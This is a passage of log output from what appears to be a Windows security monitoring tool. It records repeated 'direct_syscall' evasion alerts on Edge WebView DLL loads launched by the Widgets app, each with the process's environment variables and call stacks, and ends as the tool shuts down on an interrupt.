EDGE_VARIATIONS_SEED_ETAG:"RKa0yZCvphvrLkeQXHzehWRDeynURWvoI0qYVZ6UVdk=" EDGE_WEBVIEW_PREFETCH_HOSTED_APP:/pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo IS_EDGE_WEBVIEW:1 JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff801b7b42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff801b7a74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff801b7b48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff801b8072258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff801b8071ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff801b80690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff801b80621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff801b806179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff801b7eb2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7fff54c91014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7fff54aa3640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7fff54aa3a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7fff955053db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff95504e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff955084cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7fff95503c3c C:\Windows\System32\ntdll.dll!RtlGetFullPathName_UstrEx|0x7fff955741ba C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7fff955163a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7fff95516996 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7fff9554d7d3 C:\Windows\System32\ntdll.dll!RtlGuardCheckLongJumpTarget|0x7fff9554b94d C:\Windows\System32\ntdll.dll!LdrResolveDelayLoadedAPI|0x7fff76ad34a2 C:\Windows\System32\PCPKsp.dll!GetKeyStorageInterface|0x7fff76ae96be C:\Windows\System32\PCPKsp.dll!DllMain|0x7fff76a91552 C:\Windows\System32\PCPKsp.dll!?|0x7fff91e668aa C:\Windows\System32\ncrypt.dll!NCryptOpenStorageProvider|0x7fff43d3f61a C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff43cebf4b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff42850224 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff42850058 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff4284f954 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff4284f682 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff421a500b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7fff421f51e8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7fff42219a08 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7fff948de8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff9558c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-02T13:16:35+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1407892 + Pid: 2880 + Tid: 4928 + Type: LoadImage + CPU: 3 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-12-02 13:16:31.602015 +0100 CET + Params: base_address➜ 7fff79630000, checksum➜ 631726, default_address➜ 7fff79630000, file_path➜ C:\Windows\System32\ncryptprov.dll, image_size➜ 577536, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 2880, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 2880 + Ppid: 10180 + Name: msedgewebview2.exe + Parent name: Widgets.exe + Cmdline: "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10180.7888.5612976410328043299 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 + Parent cmdline: "C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_525.31002.150.0_x64__cw5n1h2txyewy\Dashboard\Widgets.exe" -ServerName:Microsoft.Windows.DashboardServer + Exe: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe + Cwd: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10180.7888.5612976410328043299 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:2880 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_2880_ARFMIOGUEXAMZGKJ EDGE_METRICS_CLIENT_ID_HASH:6092338358981505986 EDGE_METRICS_SESSION_ID:340 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"wpHXXpsNBmdIXiXmW9rewV/GUz46RhuaXpzglQtfG4I=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView EDGE_UX_CONFIG_CORRELATION_ID: EDGE_VARIATIONS_SEED_ETAG:"RKa0yZCvphvrLkeQXHzehWRDeynURWvoI0qYVZ6UVdk=" EDGE_WEBVIEW_PREFETCH_HOSTED_APP:/pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo IS_EDGE_WEBVIEW:1 JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff801b7b42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff801b7a74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff801b7b48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff801b8072258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff801b8071ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff801b80690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff801b80621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff801b806179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff801b7eb2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7fff54c91014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7fff54aa3640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7fff54aa3a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7fff955053db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff95504e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff955084cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7fff9550701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff95574294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7fff955163a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7fff95516020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7fff9553fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7fff92dad29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7fff91e62a80 C:\Windows\System32\ncrypt.dll!NCryptEnumKeys|0x7fff91e6510e C:\Windows\System32\ncrypt.dll!SslIncrementProviderReferenceCount|0x7fff91e6687e C:\Windows\System32\ncrypt.dll!NCryptOpenStorageProvider|0x7fff43ced661 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff43cec4a6 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff43cebf6d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff42850224 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff42850058 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff4284f954 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff4284f682 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff421a500b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7fff421f51e8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7fff42219a08 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7fff948de8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff9558c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-02T13:16:52+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1412403 + Pid: 2880 + Tid: 4928 + Type: LoadImage + CPU: 5 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-12-02 13:16:50.096627 +0100 CET + Params: base_address➜ 7fff857d0000, checksum➜ 361437, default_address➜ 7fff857d0000, file_path➜ C:\Windows\System32\wevtapi.dll, image_size➜ 339968, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 2880, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 2880 + Ppid: 10180 + Name: msedgewebview2.exe + Parent name: Widgets.exe + Cmdline: "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10180.7888.5612976410328043299 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 + Parent cmdline: "C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_525.31002.150.0_x64__cw5n1h2txyewy\Dashboard\Widgets.exe" -ServerName:Microsoft.Windows.DashboardServer + Exe: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe + Cwd: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10180.7888.5612976410328043299 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:2880 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_2880_ARFMIOGUEXAMZGKJ EDGE_METRICS_CLIENT_ID_HASH:6092338358981505986 EDGE_METRICS_SESSION_ID:340 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"wpHXXpsNBmdIXiXmW9rewV/GUz46RhuaXpzglQtfG4I=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView EDGE_UX_CONFIG_CORRELATION_ID: EDGE_VARIATIONS_SEED_ETAG:"RKa0yZCvphvrLkeQXHzehWRDeynURWvoI0qYVZ6UVdk=" EDGE_WEBVIEW_PREFETCH_HOSTED_APP:/pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo IS_EDGE_WEBVIEW:1 JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff801b7b42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff801b7a74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff801b7b48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff801b8072258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff801b8071ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff801b80690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff801b80621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff801b806179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff801b7eb2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7fff54c91014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7fff54aa3640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7fff54aa3a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7fff955053db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff95504e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff955084cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7fff95503c3c C:\Windows\System32\ntdll.dll!RtlGetFullPathName_UstrEx|0x7fff955741ba C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7fff955163a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7fff95516020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7fff9553fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7fff92dad29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7fff92e56c94 C:\Windows\System32\KernelBase.dll!LoadLibraryExA|0x7fff441426e5 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff451f5aa8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7fff50a743fd C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateTestWebClientProxy|0x7fff43e42ce4 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff43e42c1a C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff43e42b8b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff43eaecf8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff43fabb62 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff42850224 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff42850058 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff4284f954 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff4284f682 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff421a500b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7fff421f51e8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7fff42219a08 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7fff948de8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff9558c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-02T13:18:25+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-02T13:18:25+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-02T13:18:25+01:00 level=info 